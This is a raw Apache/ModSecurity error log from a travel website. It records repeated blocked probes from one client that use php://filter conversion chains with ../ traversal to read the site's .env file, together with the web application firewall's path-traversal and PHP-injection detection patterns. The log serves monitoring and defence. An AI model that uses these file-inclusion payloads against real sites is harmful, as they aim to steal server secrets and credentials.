[Fri Jul 17 08:55:10.948845 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.949000 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.949313 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglg7FYe46zHK_jL3PlQAAABk"]
[Fri Jul 17 08:55:10.949582 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.949763 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.949851 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
[Fri Jul 17 08:55:10.949979 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.950245 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllCBpfuYyhJ140vSZQAAAB4"]
[Fri Jul 17 08:55:10.950380 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkgVnBK6wAv37w6sEwAAABQ"]
[Fri Jul 17 08:55:10.961583 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&debug=5KvHJOR0NOk22NMDOgD5PN3bQcXccyvAlCcod0jeoL-T4thct5LeMWxZw5kFrCcszxvKN5RtPOS9MDdCSFejRvbm_GnBK4r_LruU7hMRjN6n8CsIGd3uhuzeGT3yu6qCQCAOjrDVe2MGkQFg8z21MJci2tw2lw09NTIJf48jPfGGHnkcBPNDl6A9yOxxcs3JdOTmaLLH7eRunjWM6Qoz45nCDNQx-nrStRU1YPbutYp0ezNuE8iHgftEiIxzLgfDHQ5hRcFPa4_cjPRkGTQdzBcs&junk=QJORXZESVJXURZ2C6ZZWYJE6LKSSXARAMK5S5POKGSHZHC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.961656 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.961718 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&debug=5KvHJOR0NOk22NMDOgD5PN3bQcXccyvAlCcod0jeoL-T4thct5LeMWxZw5kFrCcszxvKN5RtPOS9MDdCSFejRvbm_GnBK4r_LruU7hMRjN6n8CsIGd3uhuzeGT3yu6qCQCAOjrDVe2MGkQFg8z21MJci2tw2lw09NTIJf48jPfGGHnkcBPNDl6A9yOxxcs3JdOTmaLLH7eRunjWM6Qoz45nCDNQx-nrStRU1YPbutYp0ezNuE8iHgftEiIxzLgfDHQ5hRcFPa4_cjPRkGTQdzBcs&junk=QJORXZESVJXURZ2C6ZZWYJE6LKSSXARAMK5S5POKGSHZHC7JIATAX6BEESBSTNUQUS75O55W..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.961774 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&debug=5kvhjor0nok22nmdogd5pn3bqcxccyvalccod0jeol-t4thct5lemwxzw5kfrccszxvkn5rtpos9mddcsfejrvbm_gnbk4r_lruu7hmrjn6n8csigd3uhuzegt3yu6qcqcaojrdve2mgkqfg8z21mjci2tw2lw09ntijf48jpfgghnkcbpndl6a9yoxxcs3jdotmallh7erunjwm6qoz45ncdnqx-nrstru1ypbutyp0eznue8ihgfteiixzlgfdhq5hrcfpa4_cjprkgtqdzbcs&junk=qjorxzesvjxurz2c6zzwyje6lkssxaramk5s5pokgshzhc7jiatax6beesbstnuqus75o55w..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.961803 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.961827 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.962014 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AXAAAAAU"]
[Fri Jul 17 08:55:10.962215 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.963292 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.963444 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.963809 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloZvbo7N5o5zeYC-JwAAABw"]
[Fri Jul 17 08:55:10.963878 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglhAi3pC6yjXGNq2AXAAAAAU"]
[Fri Jul 17 08:55:10.964434 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.965508 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglhAi3pC6yjXGNq2AXAAAAAU"]
[Fri Jul 17 08:55:10.966416 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-16le%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&debug=QmXv8Q-cL0a4H52bWSQCfJI3Oscem3xMGESEorTEHLRgj6oI6bs9hFA3vlbTiboYlo_8sVshWYk_VCObfd8-N7Y7qBbZJghlDv82F7FI5py2oJxG_ZPS4nsDaKYEpaUiuUoscRKG05xhwLkJqSJXRm-Hvray1EmH7rXSIw1jJxGfZsJtCJMxL7xCUv50tBTSEDW6kDz-Bvum7HH3tm-mbT2Vax5PNgFkd1crAYN4O1mwHyYc7-XU0ctadQDnzyMB2wnjJs-8D-jIuKwDNXCw-dIV&ts=CAB2CJUC4DMJL24FQSJBTMX72OJWWA3L25ZUCUZQF57..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.966532 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.966693 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&debug=QmXv8Q-cL0a4H52bWSQCfJI3Oscem3xMGESEorTEHLRgj6oI6bs9hFA3vlbTiboYlo_8sVshWYk_VCObfd8-N7Y7qBbZJghlDv82F7FI5py2oJxG_ZPS4nsDaKYEpaUiuUoscRKG05xhwLkJqSJXRm-Hvray1EmH7rXSIw1jJxGfZsJtCJMxL7xCUv50tBTSEDW6kDz-Bvum7HH3tm-mbT2Vax5PNgFkd1crAYN4O1mwHyYc7-XU0ctadQDnzyMB2wnjJs-8D-jIuKwDNXCw-dIV&ts=CAB2CJUC4DMJL24FQSJBTMX72OJWWA3L25ZUCUZQF572X2PLFTAVX2TOSXDNQZ7UD4CDBH6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.966841 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env&debug=qmxv8q-cl0a4h52bwsqcfji3oscem3xmgeseortehlrgj6oi6bs9hfa3vlbtiboylo_8svshwyk_vcobfd8-n7y7qbbzjghldv82f7fi5py2ojxg_zps4nsdakyepauiuuoscrkg05xhwlkjqsjxrm-hvray1emh7rxsiw1jjxgfzsjtcjmxl7xcuv50tbtsedw6kdz-bvum7hh3tm-mbt2vax5pngfkd1crayn4o1mwhyyc7-xu0ctadqdnzymb2wnjjs-8d-jiukwdnxcw-div&ts=cab2cjuc4dmjl24fqsjbtmx72ojwwa3l25zucuzqf572x2plftavx2tosxdnqz7ud4cdbh6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.966944 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.967041 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.967390 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vAAAAAw"]
[Fri Jul 17 08:55:10.967690 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8fAAAABA"]
[Fri Jul 17 08:55:10.968675 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95vAAAAAw"]
